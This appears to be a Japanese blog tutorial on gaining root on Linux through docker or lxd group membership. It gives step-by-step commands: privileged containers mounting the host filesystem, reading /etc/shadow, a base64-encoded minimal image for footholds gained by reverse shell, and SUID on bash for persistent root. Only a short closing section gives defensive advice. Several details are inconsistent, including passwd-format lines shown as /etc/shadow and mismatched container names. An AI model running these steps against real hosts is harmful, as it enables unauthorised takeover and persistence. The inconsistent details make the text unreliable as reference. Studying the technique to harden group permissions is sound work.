晴耕雨読

working in the fields on fine days and reading books on rainy days

DockerやLXDを利用した権限昇格

sudoを実行できないユーザでも、dockerグループに所属していれば、Dockerを使うことで権限昇格ができるようになります。 LXDでも同様です。ここでは超軽量なAlpine Linuxを使ってroot権限に昇格する例を紹介します。

Docker

Dockerを使ったやりかた:

docker run --privileged -v /:/mnt/root --rm -it alpine
  • --priviledged はコンテナ内のプロセスをルート権限で起動するためのオプションです。
  • -v <from>:<to> はホストOSのディレクトリを、コンテナ内にマウントします。ホストOSのルートディレクトリをマウントすることで、ホストのファイルシステム全体にアクセスできるようになります。

上記のコマンドを実行すると、ルート権限でファイルシステム全体にアクセスできます。

実行結果:

$ docker run --privileged -v /:/mnt/root --rm -it alpine
root:/# id
uid=0(root) gid=0(root) groups=0(root)

root:/# cat /mnt/root/etc/shadow
root:x:0:0:root:/root:/sbin/nologin
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...省略...

LXD/LXC

同様に、Linux上でコンテナを扱う LXD でも同じことができます。 sudoを実行できないユーザでも、lxdグループに所属していれば、LXDを使うことで権限昇格ができます。

LXDを使ったやりかた:

# alpineイメージのビルド
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

作成されたイメージ alphine-*.tar.gz を対象のホストにコピーしたら、以下のコマンドでコンテナを起動します。

# 管理者権限付きで初期化
lxc image import ./alpine-v3.10-x86_64-20191008_1227.tar.gz --alias myContainer
lxc init myContainer myVM -c security.privileged=true
# ホストOSのルートディレクトリをコンテナにマウント
lxc config device add myVM mydevice disk source=/ path=/mnt/root recursive=true
# コンテナの起動
lxc start myVM
lxc exec myVM /bin/sh

実行結果:

~ # id
id
uid=0(root) gid=0(root)

~ # cd /mnt/root/etc/shadow
root:/# cat /mnt/root/etc/shadow
root:x:0:0:root:/root:/sbin/nologin
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...省略...

LXD/LXCによる権限昇格の最短解

リバースシェルなどで侵入した環境に curl や wget がない場合、alpineイメージをコピーするのに苦労します。 そこで、alpineよりもさらに軽量なイメージを使います。 以下のコマンドを使うことで、base64を貼り付けるだけで超超軽量なイメージが出来上がります。

echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > myImage.tar.bz2

後は同じようにコンテナ作成時に管理者権限を付けてホストのファイルシステム全体をマウントします。

$ lxc image import myImage.tar.bz2 --alias myImage
$ lxc init myImage myVM -c security.privileged=true
$ lxc config device add myVM realRoot disk source=/ path=r
$ lxc start myVM
$ lxc exec bobVM -- /bin/sh
# id
uid=0(root) gid=0(root)
# cd /r
# ls
bin    dev   lib    libx32      mnt   root  snap      sys  var
boot   etc   lib32  lost+found  opt   run   srv       tmp
cdrom  home  lib64  media       proc  sbin  swap.img  usr

権限昇格後

コンテナ内ではroot権限で、ホストのファイルシステム全体にアクセスできるので、サーバの全権を掌握しました。 コンテナから抜けても簡単にroot権限に昇格できるように、bashコマンドにSUIDを設定します。 こうすることで、誰がbashを実行しても、セットしたユーザ(ここではroot)で実行されるようになります。

# cd /mnt/root/usr/bin
# ls -l bash
-rwxr-xr-x    1 root     root       1183448 Feb 25 12:03 bash
# chmod 4755 bash
# ls -l bash
-rwsr-xr-x    1 root     root       1183448 Feb 25 12:03 bash

bashコマンドにSUIDを設定したら、コンテナから抜けて bash -p コマンドを実行すると、euid (Effective UID) に root が追加されていることが確認できます。 よって、SUIDをbashに設定すれば、コンテナを抜けても権限昇格することが可能になります。

$ bash -p
id
uid=1000(test) gid=1000(test) euid=0(root) groups=1000(test),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

おわりに

cat /etc/group で docker や lxd グループが存在して、そのグループに所属しているユーザがいる場合は、権限昇格ができる可能性があるので注意が必要です。 非rootユーザでdockerコマンドを実行することは、ホストの完全なroot権限を取得できてしまいます。 不要なユーザであればグループから外したり、ユーザをロックしたり (usermod -L)、ログインパスワードをより強力なものに変更するなどしましょう。

参考文献